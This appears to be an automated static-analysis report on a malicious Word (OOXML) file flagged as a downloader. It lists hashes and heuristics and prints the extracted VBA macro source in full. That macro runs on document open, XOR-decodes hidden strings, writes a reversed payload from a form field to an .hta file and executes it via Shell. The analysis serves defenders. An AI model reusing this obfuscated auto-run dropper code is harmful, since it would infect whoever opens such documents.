Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c2b9b6847c15807…

MALICIOUS

Office (OOXML)

78.7 KB Created: 2021-01-29 11:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: cf009560729a9358ad02610feeee78d1 SHA-1: a9ce3091ad3b7b25acbdbe990e8533deb5bb187f SHA-256: 8c2b9b6847c15807d579678d61b8cdc8ea034c5a5cae8a3dfdda36e764fbd415
152 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell aAtHE & " " & aEx2M
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1909 bytes
SHA-256: a87d9b7b027ed48ed32f8826567698f5e6f646f8a88dd90e1d0af15ab3613cee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myshow"
Attribute VB_Base = "0{7FA07F8C-EAC3-4B0C-9F6E-C78995D84A2E}{EF5F8129-574B-4287-B907-2B8EA6DF0307}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aCl4V"
Sub AutoOpen()
aGeZvo
End Sub

Attribute VB_Name = "a9t1m"
Function aPEWT()
aPEWT = myshow.t1.value
End Function
Function aAF3g(azNuT)
Dim aEvdP As String
Dim agZI6u As String
Dim aDerX As Long
Dim aqNVt As Integer
aDerX = Len(azNuT)
aEvdP = ""
For aqNVt = aDerX To 1 Step -1
agZI6u = Mid(azNuT, aqNVt, 1)
aEvdP = aEvdP & agZI6u
Next aqNVt
aAF3g = aEvdP
End Function
Function awvbJ(aq7Q6G)
awvbJ = Chr(aq7Q6G)
End Function
Function a3ZlWG(atIXEF)
a3ZlWG = Split(atIXEF, ".")
End Function
Sub amnbV7(ajBhf, aI7Af)
Open "" & "" & "" & ajBhf For Output As #1
Print #1, aI7Af
Close #1
End Sub

Attribute VB_Name = "at6PZ9"
Public Const acXTD0 As String = "10.23.31.3.0.29.10.29"
Public Const arDIL As String = "12.85.51.31.29.0.8.29.14.2.11.14.27.14.51.14.91.37.41.21.45.65.7.27.14"
Function aOShr(aV6XoB, aVrIw)
aOShr = Trim(aV6XoB Xor aVrIw)
End Function
Function amGpi(anfH2x As Variant)
Dim aHz5u As String
aHz5u = ""
For aS4a7 = 0 To UBound(anfH2x)
akKEM = awvbJ(aOShr(anfH2x(aS4a7), 111))
aHz5u = aHz5u & akKEM
Next aS4a7
amGpi = aHz5u
End Function
Sub aGeZvo()
aDmtRq = aPEWT
aAtHE = amGpi(a3ZlWG(acXTD0))
aEx2M = amGpi(a3ZlWG(arDIL))
amnbV7 aEx2M, aAF3g(aDmtRq)
Shell aAtHE & " " & aEx2M
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 39424 bytes
SHA-256: 19a55359475e18b02fe5f3adfc057f1bd95d27039055ad05873b5a1f3d868f16
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.